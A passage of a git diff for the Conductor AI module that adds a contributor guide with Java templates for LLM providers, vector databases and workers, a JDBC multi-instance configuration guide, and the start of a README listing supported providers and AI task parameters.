registry.add(listener); + + // Delegate uses the interface default *IfEnabled gating: enabled -> delivered. + composite.onWorkflowTerminatedIfEnabled(workflow("wf-on", true)); + // Disabled -> the delegate's own gating suppresses delivery. + composite.onWorkflowTerminatedIfEnabled(workflow("wf-off", false)); + + assertEquals(List.of("terminated:wf-on"), listener.events); + assertFalse(listener.events.contains("terminated:wf-off")); + } +} diff --git a/ai/CONTRIBUTING.md b/ai/CONTRIBUTING.md new file mode 100644 index 0000000..b5123a5 --- /dev/null +++ b/ai/CONTRIBUTING.md @@ -0,0 +1,627 @@ +# Contributing to Conductor AI Module + +Thank you for your interest in contributing to the Conductor AI module! This guide will help you add new LLM providers, vector database integrations, workers, and other enhancements. + +## Table of Contents + +- [Architecture Overview](#architecture-overview) +- [Adding a New LLM Provider](#adding-a-new-llm-provider) +- [Adding a Vector Database Integration](#adding-a-vector-database-integration) +- [Adding New Workers/Tasks](#adding-new-workerstasks) +- [Adding MCP Tools](#adding-mcp-tools) +- [Testing Guidelines](#testing-guidelines) +- [Code Style and Best Practices](#code-style-and-best-practices) + +--- + +## Architecture Overview + +The AI module is organized into several key packages: + +``` +org.conductoross.conductor.ai/ +├── providers/ # LLM provider implementations (OpenAI, Anthropic, etc.) +├── vectordb/ # Vector database integrations (Pinecone, MongoDB, etc.) +├── video/ # Video generation abstractions (VideoModel, AsyncVideoModel, etc.) +├── tasks/ # Worker task definitions +│ ├── mapper/ # Input/output parameter mappers +│ └── worker/ # Worker implementations +├── mcp/ # Model Context Protocol implementation +├── models/ # Request/response models +└── document/ # Document readers and parsers +``` + +Key interfaces: +- **`AIModel`**: Base interface for LLM providers +- **`VideoModel`**: Functional interface for synchronous video generation (mirrors Spring AI's `ImageModel`) +- **`AsyncVideoModel`**: Extends `VideoModel` with async polling via `checkStatus(String jobId)` +- **`VectorDBProvider`**: Base interface for vector databases +- **`@WorkerTask`**: Annotation for defining worker tasks + +--- + +## Adding a New LLM Provider + +### Step 1: Create Provider Package + +Create a new package under `providers/`: + +``` +org.conductoross.conductor.ai.providers.yourprovider/ +├── YourProvider.java # Main provider implementation +└── YourProviderConfiguration.java # Spring configuration +``` + +### Step 2: Implement AIModel Interface + +Create your provider class implementing `AIModel`: + +```java +package org.conductoross.conductor.ai.providers.yourprovider; + +import org.conductoross.conductor.ai.AIModel; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.embedding.EmbeddingModel; + +public class YourProvider implements AIModel { + + private final ChatModel chatModel; + private final EmbeddingModel embeddingModel; + + public YourProvider(ChatModel chatModel, EmbeddingModel embeddingModel) { + this.chatModel = chatModel; + this.embeddingModel = embeddingModel; + } + + @Override + public String getModelProvider() { + return "your_provider_name"; // Used in workflow definitions + } + + @Override + public ChatModel getChatModel() { + return chatModel; + } + + @Override + public EmbeddingModel getEmbeddingModel() { + return embeddingModel; + } +} +``` + +### Step 3: Create Configuration Class + +Use `@ConditionalOnProperty` to ensure the provider only loads when configured: + +```java +package org.conductoross.conductor.ai.providers.yourprovider; + +import org.conductoross.conductor.ai.ModelConfiguration; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +@Configuration +@EnableConfigurationProperties(YourProviderProperties.class) +@ConditionalOnProperty(prefix = "conductor.ai.your-provider", name = "api-key") +public class YourProviderConfiguration { + + @Bean + public ModelConfiguration yourProviderConfiguration( + YourProviderProperties properties) { + return () -> { + // Initialize chat and embedding models + ChatModel chatModel = // ... create from properties + EmbeddingModel embeddingModel = // ... create from properties + + return new YourProvider(chatModel, embeddingModel); + }; + } +} +``` + +### Step 4: Create Properties Class + +```java +package org.conductoross.conductor.ai.providers.yourprovider; + +import org.springframework.boot.context.properties.ConfigurationProperties; +import lombok.Data; + +@Data +@ConfigurationProperties(prefix = "conductor.ai.your-provider") +public class YourProviderProperties { + private String apiKey; + private String baseUrl = "https://api.yourprovider.com"; + private String model = "default-model"; + // Add other configuration properties +} +``` + +### Step 5: Add Tests + +Create `YourProviderConfigurationTest.java`: + +```java +@TestInstance(TestInstance.Lifecycle.PER_CLASS) +class YourProviderConfigurationTest { + + @Test + void testProviderLoadsWhenConfigured() { + ApplicationContextRunner contextRunner = + new ApplicationContextRunner() + .withConfiguration( + AutoConfigurations.of(YourProviderConfiguration.class)) + .withPropertyValues( + "conductor.ai.your-provider.api-key=test-key"); + + contextRunner.run( + context -> { + assertThat(context).hasSingleBean(ModelConfiguration.class); + }); + } + + @Test + void testProviderDoesNotLoadWithoutApiKey() { + ApplicationContextRunner contextRunner = + new ApplicationContextRunner() + .withConfiguration( + AutoConfigurations.of(YourProviderConfiguration.class)); + + contextRunner.run( + context -> { + assertThat(context).doesNotHaveBean(ModelConfiguration.class); + }); + } +} +``` + +### Step 6: Add Video Generation Support (Optional) + +If your provider supports video generation, implement video model support using the `video/` package abstractions. Video generation is async by nature (submit a job, poll for results), so most providers will implement `AsyncVideoModel`. + +#### 6a. Create a Video Model Class + +```java +package org.conductoross.conductor.ai.providers.yourprovider; + +import org.conductoross.conductor.ai.video.*; + +public class YourVideoModel implements AsyncVideoModel { + + private final String apiKey; + + public YourVideoModel(String apiKey) { + this.apiKey = apiKey; + } + + @Override + public VideoResponse call(VideoPrompt prompt) { + // Submit video generation job to provider API + // Return a VideoResponse with jobId in metadata + VideoResponseMetadata metadata = new VideoResponseMetadata(); + metadata.put("jobId", submittedJobId); + metadata.put("status", "PENDING"); + return new VideoResponse(List.of(), metadata); + } + + @Override + public VideoResponse checkStatus(String jobId) { + // Poll provider API for job status + // When complete, download video bytes and return Video objects + // Set mimeType on each Video (e.g., "video/mp4", "image/webp" for thumbnails) + Video video = new Video(videoUrl, null, "video/mp4"); + VideoGeneration generation = new VideoGeneration(video); + + VideoResponseMetadata metadata = new VideoResponseMetadata(); + metadata.put("jobId", jobId); + metadata.put("status", "COMPLETED"); + return new VideoResponse(List.of(generation), metadata); + } +} +``` + +#### 6b. Wire Video Model into Your Provider + +Override the video-related methods in your `AIModel` implementation: + +```java +@Override +public VideoModel getVideoModel() { + if (videoModel == null) { + videoModel = new YourVideoModel(apiKey); + } + return videoModel; +} + +@Override +public LLMResponse generateVideo(VideoGenRequest request) { + VideoOptions options = getVideoOptions(request); + VideoPrompt prompt = new VideoPrompt( + List.of(new VideoMessage(request.getPrompt())), options); + VideoResponse response = getVideoModel().call(prompt); + // Convert to LLMResponse with jobId +} + +@Override +public LLMResponse checkVideoStatus(VideoGenRequest request) { + AsyncVideoModel asyncModel = (AsyncVideoModel) getVideoModel(); + VideoResponse response = asyncModel.checkStatus(request.getJobId()); + // Convert to LLMResponse with media list +} +``` + +The `video/` package mirrors Spring AI's `Image*` abstraction pattern: +- `VideoPrompt` -> `ImagePrompt` (request wrapper) +- `VideoResponse` -> `ImageResponse` (response wrapper) +- `VideoGeneration` -> `ImageGeneration` (individual result) +- `Video` -> `Image` (the actual media, with url, b64Json, and mimeType fields) +- `VideoOptions` -> `ImageOptions` (generation parameters) + +### Step 7: Update Documentation + +Add your provider to `README.md` under the supported providers section with configuration examples. + +--- + +## Adding a Vector Database Integration + +### Step 1: Create Config Class + +Create a new configuration class in the database package (e.g., `org.conductoross.conductor.ai.vectordb.yourdb`): + +```java +@Data +@NoArgsConstructor +@AllArgsConstructor +public class YourDBConfig implements VectorDBConfig { + + private String connectionString; + // other properties + + @Override + public YourVectorDB get() { + throw new UnsupportedOperationException("Use get(String name) instead"); + } + + public YourVectorDB get(String name) { + return new YourVectorDB(name, this); + } +} +``` + +### Step 2: Implement VectorDB Class + +Extend the `VectorDB` abstract class: + +```java +public class YourVectorDB extends VectorDB { + + public static final String TYPE = "yourdb"; + private final YourDBConfig config; + + public YourVectorDB(String name, YourDBConfig config) { + super(name, TYPE); + this.config = config; + } + + @Override + public int updateEmbeddings(String indexName, String namespace, String doc, String parentDocId, String id, List embeddings, Map metadata) { + // Implement logic to store embeddings + } + + @Override + public List search(String indexName, String namespace, List embeddings, int maxResults) { + // Implement logic to search embeddings + } +} +``` + +### Step 3: Register in VectorDBInstanceConfig + +Add your database type to the `createVectorDB` method and the `VectorDBInstance` inner class in `org.conductoross.conductor.ai.vectordb.VectorDBInstanceConfig`. + +### Step 4: Add Integration Tests + +Use Testcontainers for integration testing: + +```java +@Testcontainers +class YourVectorDBTest { + + @Container + static GenericContainer yourdb = + new GenericContainer<>("yourdb:latest") + .withExposedPorts(1234); + + @Test + void testStoreAndSearch() { + // Test vector storage and similarity search + } +} +``` + +--- + +## Adding New Workers/Tasks + +### Step 1: Create Request Model + +```java +package org.conductoross.conductor.ai.model; + +import lombok.Data; +import lombok.EqualsAndHashCode; + +@Data +@EqualsAndHashCode(callSuper = false) +public class YourTaskRequest extends LLMWorkerInput { + private String parameter1; + private String parameter2; + // Add task-specific parameters +} +``` + +### Step 2: Create Worker Class + +```java +package org.conductoross.conductor.ai.tasks.worker; + +import com.netflix.conductor.sdk.workflow.annotations.WorkerTask; +import org.conductoross.conductor.ai.model.YourTaskRequest; + +@Component +public class YourWorker { + + private final YourService yourService; + + public YourWorker(YourService yourService) { + this.yourService = yourService; + } + + @WorkerTask("YOUR_TASK_NAME") + public @OutputParam("result") YourTaskResult executeTask(YourTaskRequest request) { + // Implement task logic + return yourService.processRequest(request); + } +} +``` + +### Step 3: Add Task Tests + +```java +class YourWorkerTest { + + @Test + void testTaskExecution() { + YourWorker worker = new YourWorker(mockService); + YourTaskRequest request = new YourTaskRequest(); + request.setParameter1("test"); + + YourTaskResult result = worker.executeTask(request); + + assertNotNull(result); + // Add assertions + } +} +``` + +--- + +## Adding MCP Tools + +Model Context Protocol (MCP) allows external tools to be called from workflows. + +### Adding MCP Server Support + +The `MCPService` already supports: +- HTTP/SSE transports +- stdio (local process) transports +- Direct JSON-RPC fallback + +To add a new MCP server: + +1. **Deploy your MCP server** (HTTP or local script) +2. **Use existing `CALL_MCP_TOOL` task** in workflows: + +```json +{ + "name": "call_your_tool", + "taskReferenceName": "your_tool", + "type": "CALL_MCP_TOOL", + "inputParameters": { + "mcpServer": "http://localhost:3000", + "methodName": "your_tool_name", + "param1": "value1", + "param2": "value2" + } +} +``` + +### Extending MCP Capabilities + +To add new MCP-related features, modify: +- `MCPService.java` - Core MCP communication logic +- `MCPWorkers.java` - Worker task definitions +- `models/MCP*.java` - Request/response models + +--- + +## Testing Guidelines + +### Unit Tests + +- Place in `src/test/java` mirroring the source structure +- Use MockBean for Spring dependencies +- Test individual methods and edge cases +- Aim for 80%+ code coverage + +### Integration Tests + +- Use `@SpringBootTest` for full context testing +- Use Testcontainers for external dependencies (databases, servers) +- Test real interactions between components + +### Test Naming Convention + +```java +// Unit test method format +void test__() + +// Examples: +void testGetModel_WithValidProvider_ReturnsModel() +void testGetModel_WithInvalidProvider_ThrowsException() +``` + +### Running Tests + +```bash +# Run all tests +./gradlew :conductor-ai:test + +# Run specific test class +./gradlew :conductor-ai:test --tests YourProviderTest + +# Run with coverage +./gradlew :conductor-ai:test jacocoTestReport +``` + +--- + +## Code Style and Best Practices + +### Lombok Usage + +Use Lombok annotations consistently: +- `@Data` for simple POJOs +- `@Builder` for complex object construction +- `@Slf4j` for logging +- `@AllArgsConstructor` / `@NoArgsConstructor` for constructors + +### Logging + +- Use SLF4J via `@Slf4j` +- Log levels: + - `log.debug()` - Detailed diagnostic information + - `log.info()` - Important business events + - `log.warn()` - Recoverable issues + - `log.error()` - Errors requiring attention + +### Error Handling + +- Throw descriptive exceptions +- Include context in error messages +- Use try-catch for recoverable errors +- Let unchecked exceptions propagate for programming errors + +### Configuration Properties + +- Use `@ConfigurationProperties` for type-safe configuration +- Provide sensible defaults +- Document all properties in javadoc +- Use `@ConditionalOnProperty` to make features optional + +### Spring Beans + +- Prefer constructor injection over field injection +- Use `@Component` for auto-detected beans +- Use `@Configuration` for explicit bean definitions +- Apply `@ConditionalOnProperty` for optional features + +### Documentation + +- Add Javadoc to all public classes and methods +- Include usage examples in class-level Javadoc +- Update `README.md` with new features +- Provide workflow examples for new tasks + +--- + +## Development Workflow + +### 1. Create a Feature Branch + +```bash +git checkout -b feature/add-your-provider +``` + +### 2. Implement Your Changes + +Follow the patterns above for your contribution type. + +### 3. Write Tests + +Ensure your code has comprehensive test coverage. + +### 4. Run Tests and Checks + +```bash +./gradlew :conductor-ai:test +./gradlew :conductor-ai:compileJava +``` + +### 5. Update Documentation + +- Update `README.md` with examples +- Add Javadoc to new classes +- Update this CONTRIBUTING.md if adding new patterns + +### 6. Submit Pull Request + +- Provide clear description of changes +- Reference any related issues +- Include test results +- Update changelog if applicable + +--- + +## Common Patterns + +### Conditional Bean Creation + +Always use `@ConditionalOnProperty` for optional integrations: + +```java +@ConditionalOnProperty( + prefix = "conductor.ai.your-feature", + name = "enabled", + havingValue = "true" +) +``` + +### Parameter Mapping + +For workers with dynamic parameters, use `@JsonAnySetter`: + +```java +@JsonAnySetter +public void setAdditionalProperty(String key, Object value) { + additionalProperties.put(key, value); +} +``` + +### Resource Cleanup + +Implement `DisposableBean` for cleanup: + +```java +@Override +public void destroy() throws Exception { + // Clean up resources +} +``` + +--- + +## Getting Help + +- Check existing implementations in `providers/` for examples +- Review `README.md` for usage patterns +- Look at test files for testing patterns +- Open a GitHub issue for questions + +## License + +By contributing, you agree that your contributions will be licensed under the Apache License 2.0. diff --git a/ai/JDBC_CONFIGURATION.md b/ai/JDBC_CONFIGURATION.md new file mode 100644 index 0000000..c69f005 --- /dev/null +++ b/ai/JDBC_CONFIGURATION.md @@ -0,0 +1,257 @@ +# JDBC Configuration + +This document describes the configuration format for JDBC database connections in Conductor. + +## Overview + +Conductor supports configuring **multiple named JDBC instances** for use by the `JDBC` worker task. This allows you to: + +- Connect to multiple databases (MySQL, PostgreSQL, Oracle, etc.) +- Separate environments (prod, dev, staging) +- Use different connection pool settings per use case (read-heavy vs write-heavy) + +## Configuration Format + +JDBC instances are configured using a list-based approach under `conductor.jdbc.instances`: + +```yaml +conductor: + jdbc: + instances: + - name: "instance-name" # Unique identifier for this instance + connection: # Connection configuration + datasourceURL: "jdbc:..." # JDBC connection URL + jdbcDriver: "..." # JDBC driver class (optional, auto-detected from URL) + user: "..." # Database username + password: "..." # Database password + # ... pool settings +``` + +## Configuration Examples + +### Single MySQL Instance + +```yaml +conductor: + jdbc: + instances: + - name: "mysql-prod" + connection: + datasourceURL: "jdbc:mysql://prod-db:3306/myapp" + jdbcDriver: "com.mysql.cj.jdbc.Driver" + user: "conductor" + password: "secret" + maximumPoolSize: 20 + minimumIdle: 5 +``` + +### Multiple Instances + +```yaml +conductor: + jdbc: + instances: + - name: "mysql-prod" + connection: + datasourceURL: "jdbc:mysql://prod-db:3306/myapp" + jdbcDriver: "com.mysql.cj.jdbc.Driver" + user: "conductor" + password: "prod-secret" + maximumPoolSize: 20 + + - name: "postgres-analytics" + connection: + datasourceURL: "jdbc:postgresql://analytics-db:5432/warehouse" + user: "analyst" + password: "analytics-secret" + maximumPoolSize: 10 + + - name: "mysql-staging" + connection: + datasourceURL: "jdbc:mysql://staging-db:3306/myapp" + jdbcDriver: "com.mysql.cj.jdbc.Driver" + user: "conductor" + password: "staging-secret" + maximumPoolSize: 5 + minimumIdle: 1 +``` + +## Usage in Workflows + +When using the JDBC task in your workflows, reference the instance by its configured name using `connectionId`: + +```json +{ + "name": "query_users", + "taskReferenceName": "query_users_ref", + "type": "JDBC", + "inputParameters": { + "connectionId": "mysql-prod", + "type": "SELECT", + "statement": "SELECT id, name, email FROM users WHERE status = ?", + "parameters": ["active"] + } +} +``` + +### SELECT Example + +```json +{ + "name": "find_orders", + "taskReferenceName": "find_orders_ref", + "type": "JDBC", + "inputParameters": { + "connectionId": "postgres-analytics", + "type": "SELECT", + "statement": "SELECT order_id, total FROM orders WHERE customer_id = ?", + "parameters": ["${workflow.input.customerId}"] + } +} +``` + +Output: +```json +{ + "result": [ + {"order_id": 101, "total": 49.99}, + {"order_id": 205, "total": 129.50} + ] +} +``` + +### UPDATE Example + +```json +{ + "name": "update_status", + "taskReferenceName": "update_status_ref", + "type": "JDBC", + "inputParameters": { + "connectionId": "mysql-prod", + "type": "UPDATE", + "statement": "UPDATE orders SET status = ? WHERE order_id = ?", + "parameters": ["shipped", "${workflow.input.orderId}"], + "expectedUpdateCount": 1 + } +} +``` + +Output: +```json +{ + "update_count": 1 +} +``` + +If the actual update count does not match `expectedUpdateCount`, the transaction is rolled back and the task fails. + +## Connection Configuration Options + +| Property | Type | Default | Description | +|----------|------|---------|-------------| +| `datasourceURL` | String | Required | JDBC connection URL | +| `jdbcDriver` | String | Auto-detected | JDBC driver class name | +| `user` | String | Optional | Database username | +| `password` | String | Optional | Database password | +| `maximumPoolSize` | Integer | 32 | Maximum connections in the pool | +| `minimumIdle` | Integer | 2 | Minimum idle connections | +| `idleTimeoutMs` | Long | 30000 | Idle connection timeout (ms) | +| `connectionTimeout` | Long | 30000 | Connection acquisition timeout (ms) | +| `leakDetectionThreshold` | Long | 60000 | Leak detection threshold (ms) | +| `maxLifetime` | Long | 1800000 | Maximum connection lifetime (ms) | + +## Migration from Old Configuration + +### Old Format + +```properties +conductor.worker.jdbc.connectionIds=mysql,postgres +conductor.worker.jdbc.mysql.connectionURL=jdbc:mysql://localhost:3306/db +conductor.worker.jdbc.mysql.driverClassName=com.mysql.cj.jdbc.Driver +conductor.worker.jdbc.mysql.username=root +conductor.worker.jdbc.mysql.password=secret +conductor.worker.jdbc.mysql.maximum-pool-size=10 + +conductor.worker.jdbc.postgres.connectionURL=jdbc:postgresql://localhost:5432/db +conductor.worker.jdbc.postgres.driverClassName=org.postgresql.Driver +conductor.worker.jdbc.postgres.username=pguser +conductor.worker.jdbc.postgres.password=pgpass +``` + +### New Format + +```yaml +conductor: + jdbc: + instances: + - name: "mysql" + connection: + datasourceURL: "jdbc:mysql://localhost:3306/db" + jdbcDriver: "com.mysql.cj.jdbc.Driver" + user: "root" + password: "secret" + maximumPoolSize: 10 + + - name: "postgres" + connection: + datasourceURL: "jdbc:postgresql://localhost:5432/db" + jdbcDriver: "org.postgresql.Driver" + user: "pguser" + password: "pgpass" +``` + +**Note:** The old `conductor.worker.jdbc.*` format is still supported for backwards compatibility. If no `conductor.jdbc.instances` are configured, the system automatically falls back to reading the legacy format. The old and new formats are mutually exclusive -- if new-format instances are found, the legacy format is ignored. + +### Property Name Mapping + +| Old Property | New Property | +|---|---| +| `connectionURL` | `datasourceURL` | +| `driverClassName` | `jdbcDriver` | +| `username` | `user` | +| `password` | `password` | +| `maximum-pool-size` | `maximumPoolSize` | +| `idle-timeout-ms` | `idleTimeoutMs` | +| `minimum-idle` | `minimumIdle` | + +## Best Practices + +1. **Use descriptive names**: Choose instance names that clearly indicate their purpose (e.g., `mysql-prod`, `postgres-analytics`, `oracle-reporting`) + +2. **Separate read/write pools**: For high-throughput systems, configure separate instances for read and write operations with appropriate pool sizes + +3. **Right-size connection pools**: Set `maximumPoolSize` based on your database capacity and workload. A common formula is `connections = (core_count * 2) + effective_spindle_count` + +4. **Enable leak detection**: The default `leakDetectionThreshold` of 60 seconds logs warnings for connections held longer than expected + +5. **Use parameterized queries**: Always use `?` placeholders with the `parameters` list instead of string concatenation to prevent SQL injection + +6. **Set expectedUpdateCount**: For critical UPDATE/INSERT/DELETE operations, set `expectedUpdateCount` to automatically rollback if the affected row count doesn't match + +## Troubleshooting + +### Instance Not Found + +If you see "JDBC instance not found: xyz", check: + +1. The `connectionId` in your workflow matches the configured `name` exactly +2. The instance is properly configured in your application.yml/properties +3. The application has been restarted after configuration changes + +### Connection Timeout + +If connections are timing out: + +1. Verify network connectivity to the database +2. Check `connectionTimeout` value (default 30 seconds) +3. Ensure the connection pool is not exhausted (increase `maximumPoolSize` if needed) +4. Check database max connections limit + +### Connection Leaks + +If you see leak detection warnings: + +1. Ensure all connections are properly closed (the JDBC worker handles this automatically) +2. If using custom integrations, wrap connection usage in try-with-resources +3. Review `leakDetectionThreshold` setting diff --git a/ai/README.md b/ai/README.md new file mode 100644 index 0000000..facd36d --- /dev/null +++ b/ai/README.md @@ -0,0 +1,1699 @@ +# Conductor AI Module + +The Conductor AI module provides built-in integration with 13 popular LLM providers and vector databases, enabling AI-powered workflows through simple task definitions -- including chat, embeddings, image generation, audio synthesis, video generation, document generation, and tool calling. + +## Table of Contents +- [Supported Providers](#supported-providers) +- [AI Task Types](#ai-task-types) +- [Configuration](#configuration) +- [Environment Variables](#environment-variables) +- [Docker](#docker) +- [Sample Workflows](#sample-workflows) +- [Enable/Disable AI Workers](#enabledisable-ai-workers) +- [Testing](#testing) + +## Supported Providers + +### LLM Providers + +| Provider | Chat | Embeddings | Image Gen | Audio Gen | Video Gen | Models | +|----------|:----:|:----------:|:---------:|:---------:|:---------:|--------| +| **OpenAI** | ✅ | ✅ | ✅ | ✅ | ✅ | GPT-4o, GPT-4o-mini, DALL-E-3, Sora-2, text-embedding-3-small/large | +| **Anthropic** | ✅ | ❌ | ❌ | ❌ | ❌ | Claude 3.5 Sonnet, Claude 3 Opus/Sonnet/Haiku, Claude 4 Sonnet | +| **Google Gemini** | ✅ | ✅ | ✅ | ✅ | ✅ | Gemini 2.5 Flash/Pro, Veo 2/3, Imagen, text-embedding-004 | +| **Azure OpenAI** | ✅ | ✅ | ✅ | ❌ | ❌ | GPT-4o, GPT-4, GPT-3.5-turbo, text-embedding-ada-002, DALL-E-3 | +| **AWS Bedrock** | ✅ | ✅ | ❌ | ❌ | ❌ | Claude 3.x, Titan, Llama 3.x, amazon.titan-embed-text-v2:0 | +| **Mistral AI** | ✅ | ✅ | ❌ | ❌ | ❌ | Mistral Small/Medium/Large, Mixtral 8x7B, mistral-embed | +| **Cohere** | ✅ | ✅ | ❌ | ❌ | ❌ | Command, Command-R, Command-R+, embed-english-v3.0 | +| **Grok** | ✅ | ❌ | ❌ | ❌ | ❌ | Grok-3, Grok-3-mini | +| **Perplexity AI** | ✅ | ❌ | ❌ | ❌ | ❌ | Sonar, Sonar Pro | +| **HuggingFace** | ✅ | ❌ | ❌ | ❌ | ❌ | Llama 3.x, Mistral 7B, Zephyr | +| **Ollama** | ✅ | ✅ | ❌ | ❌ | ❌ | Llama 3.x, Mistral, Phi, nomic-embed-text (local deployment) | +| **LiteLLM** | ✅ | ❌ | ❌ | ❌ | ❌ | 100+ models via [LiteLLM proxy](https://docs.litellm.ai/) (OpenAI, Anthropic, Azure, Bedrock, Vertex, etc.) | +| **Stability AI** | ❌ | ❌ | ✅ | ❌ | ❌ | SD3.5 Large/Medium, Stable Image Core, Stable Image Ultra | + +### Vector Database Providers + +| Provider | Storage | Search | Description | +|----------|:-------:|:------:|-------------| +| **PostgreSQL (pgvector)** | ✅ | ✅ | Postgres with vector extension | +| **Pinecone** | ✅ | ✅ | Managed vector database | +| **MongoDB Atlas** | ✅ | ✅ | MongoDB vector search | +| **SQLite (sqlite-vec)** | ✅ | ✅ | Embedded, zero-infra; native `vec0` extension bundled. Auto-registered as `default` when SQLite persistence + AI are enabled | + +> **Note**: Multiple named instances of these providers can be configured. See [Vector Database Configuration](VECTORDB_CONFIGURATION.md) for details. + +## AI Task Types + +### Overview + +| Task Type | Task Name | Description | +|-----------|-----------|-------------| +| **Chat Complete** | `LLM_CHAT_COMPLETE` | Multi-turn conversational AI with optional tool calling | +| **Text Complete** | `LLM_TEXT_COMPLETE` | Single prompt completion | +| **Generate Embeddings** | `LLM_GENERATE_EMBEDDINGS` | Convert text to vector embeddings | +| **Image Generation** | `GENERATE_IMAGE` | Generate images from text prompts | +| **Audio Generation** | `GENERATE_AUDIO` | Text-to-speech synthesis | +| **Video Generation** | `GENERATE_VIDEO` | Generate videos from text/image prompts (async) | +| **Index Text** | `LLM_INDEX_TEXT` | Store text with embeddings in vector DB | +| **Store Embeddings** | `LLM_STORE_EMBEDDINGS` | Store pre-computed embeddings | +| **Search Index** | `LLM_SEARCH_INDEX` | Semantic search using text query | +| **Search Embeddings** | `LLM_SEARCH_EMBEDDINGS` | Search using embedding vectors | +| **Get Embeddings** | `LLM_GET_EMBEDDINGS` | Retrieve stored embeddings | +| **List MCP Tools** | `LIST_MCP_TOOLS` | List tools from MCP server | +| **Generate PDF** | `GENERATE_PDF` | Convert markdown to PDF document | +| **Call MCP Tool** | `CALL_MCP_TOOL` | Call a tool on MCP server | + +--- + +### LLM_CHAT_COMPLETE + +Multi-turn conversational AI with support for tool calling. + +**Inputs:** + +| Parameter | Type | Required | Description | +|-----------|------|:--------:|-------------| +| `llmProvider` | String | ✅ | Provider name (e.g., `openai`, `anthropic`, `gemini`) | +| `model` | String | ✅ | Model identifier (e.g., `gpt-4o`, `claude-3-5-sonnet-20241022`) | +| `messages` | Array | ✅ | Conversation messages with `role` and `message` fields | +| `temperature` | Number | ❌ | Sampling temperature (0.0-2.0, default: 1.0) | +| `maxTokens` | Integer | ❌ | Maximum tokens in response | +| `topP` | Number | ❌ | Nucleus sampling parameter | +| `stopSequences` | Array | ❌ | Sequences that stop generation | +| `tools` | Array | ❌ | Tool definitions for function calling | +| `webSearch` | Boolean | ❌ | Enable provider-native web search (OpenAI, Anthropic, Gemini) | +| `codeInterpreter` | Boolean | ❌ | Enable sandboxed code execution (OpenAI, Anthropic, Gemini) | +| `fileSearchVectorStoreIds` | Array | ❌ | Vector store IDs for OpenAI file search | +| `thinkingTokenLimit` | Integer | ❌ | Token budget for extended thinking (Anthropic, Gemini) | +| `reasoningEffort` | String | ❌ | Reasoning effort: `low`, `medium`, `high` (OpenAI) | +| `googleSearchRetrieval` | Boolean | ❌ | Enable Google Search grounding (Gemini only) | +| `previousResponseId` | String | ❌ | Chain multi-turn conversations without resending history (OpenAI/Azure) | + +**Outputs:** + +| Field | Type | Description | +|-------|------|-------------| +| `result` | String | Generated response text | +| `finishReason` | String | Why generation stopped (`STOP`, `TOOL_CALLS`, `LENGTH`) | +| `tokenUsed` | Integer | Total tokens used | +| `promptTokens` | Integer | Tokens in the prompt | +| `completionTokens` | Integer | Tokens in the response | +| `toolCalls` | Array | Tool invocations (when `finishReason` is `TOOL_CALLS`) | + +--- + +### LLM_TEXT_COMPLETE + +Single prompt text completion. + +**Inputs:** + +| Parameter | Type | Required | Description | +|-----------|------|:--------:|-------------| +| `llmProvider` | String | ✅ | Provider name | +| `model` | String | ✅ | Model identifier | +| `prompt` | String | ✅ | Text prompt to complete | +| `temperature` | Number | ❌ | Sampling temperature | +| `maxTokens` | Integer | ❌ | Maximum tokens in response | + +**Outputs:** + +| Field | Type | Description | +|-------|------|-------------| +| `result` | String | Generated completion text | +| `tokenUsed` | Integer | Total tokens used | + +--- + +### LLM_GENERATE_EMBEDDINGS + +Convert text to vector embeddings for semantic search. + +**Inputs:** + +| Parameter | Type | Required | Description | +|-----------|------|:--------:|-------------| +| `llmProvider` | String | ✅ | Provider name | +| `model` | String | ✅ | Embedding model (e.g., `text-embedding-3-small`) | +| `text` | String | ✅ | Text to embed | + +**Outputs:** + +| Field | Type | Description | +|-------|------|-------------| +| `result` | Array\ | Vector embedding (e.g., 1536 dimensions for OpenAI) | + +--- + +### GENERATE_IMAGE + +Generate images from text prompts. + +**Inputs:** + +| Parameter | Type | Required | Description | +|-----------|------|:--------:|-------------| +| `llmProvider` | String | ✅ | Provider name (e.g., `openai`) | +| `model` | String | ✅ | Image model (e.g., `dall-e-3`) | +| `prompt` | String | ✅ | Image description | +| `width` | Integer | ❌ | Image width in pixels | +| `height` | Integer | ❌ | Image height in pixels | +| `n` | Integer | ❌ | Number of images to generate | +| `style` | String | ❌ | Style preset (e.g., `vivid`, `natural`) | + +**Outputs:** + +| Field | Type | Description | +|-------|------|-------------| +| `url` | String | URL to generated image | +| `b64_json` | String | Base64-encoded image data (if requested) | + +--- + +### GENERATE_AUDIO + +Text-to-speech synthesis. + +**Inputs:** + +| Parameter | Type | Required | Description | +|-----------|------|:--------:|-------------| +| `llmProvider` | String | ✅ | Provider name | +| `model` | String | ✅ | TTS model (e.g., `tts-1`, `tts-1-hd`) | +| `text` | String | ✅ | Text to convert to speech | +| `voice` | String | ❌ | Voice selection (e.g., `alloy`, `echo`, `nova`) | + +**Outputs:** + +| Field | Type | Description | +|-------|------|-------------| +| `media` | Array | Media items with `location` (URL/path) and `mimeType` | + +--- + +### GENERATE_VIDEO + +Generate videos from text or image prompts. This is an **async task** -- it submits a generation job and polls for completion automatically. + +**Supported Providers:** OpenAI (Sora-2), Google Vertex AI (Veo 2/3) + +**Inputs:** + +| Parameter | Type | Required | Description | +|-----------|------|:--------:|-------------| +| `llmProvider` | String | Yes | Provider name (`openai`, `vertex_ai`, or `google_gemini`) | +| `model` | String | Yes | Video model (e.g., `sora-2`, `veo-3`) | +| `prompt` | String | Yes | Text description of the video to generate | +| `duration` | Integer | No | Duration in seconds (OpenAI: 4, 8, or 12; default: 5) | +| `size` | String | No | Video dimensions, e.g., `1280x720` (OpenAI) | +| `aspectRatio` | String | No | Aspect ratio, e.g., `16:9`, `9:16` (Gemini) | +| `resolution` | String | No | Resolution preset: `720p`, `1080p` (Gemini) | +| `style` | String | No | Style preset (e.g., `cinematic`) | +| `n` | Integer | No | Number of videos to generate (default: 1) | +| `inputImage` | String | No | URL or base64 image for image-to-video generation | +| `negativePrompt` | String | No | What to exclude from the video (Gemini) | +| `personGeneration` | String | No | Person policy: `dont_allow`, `allow_adult` (Gemini) | +| `generateAudio` | Boolean | No | Generate audio with video (Gemini Veo 3+) | +| `seed` | Integer | No | Seed for reproducibility | +| `maxDurationSeconds` | Integer | No | Hard limit on video duration | +| `maxCostDollars` | Float | No | Estimated cost limit | + +**Outputs:** + +| Field | Type | Description | +|-------|------|-------------| +| `media` | Array | Generated media items (video 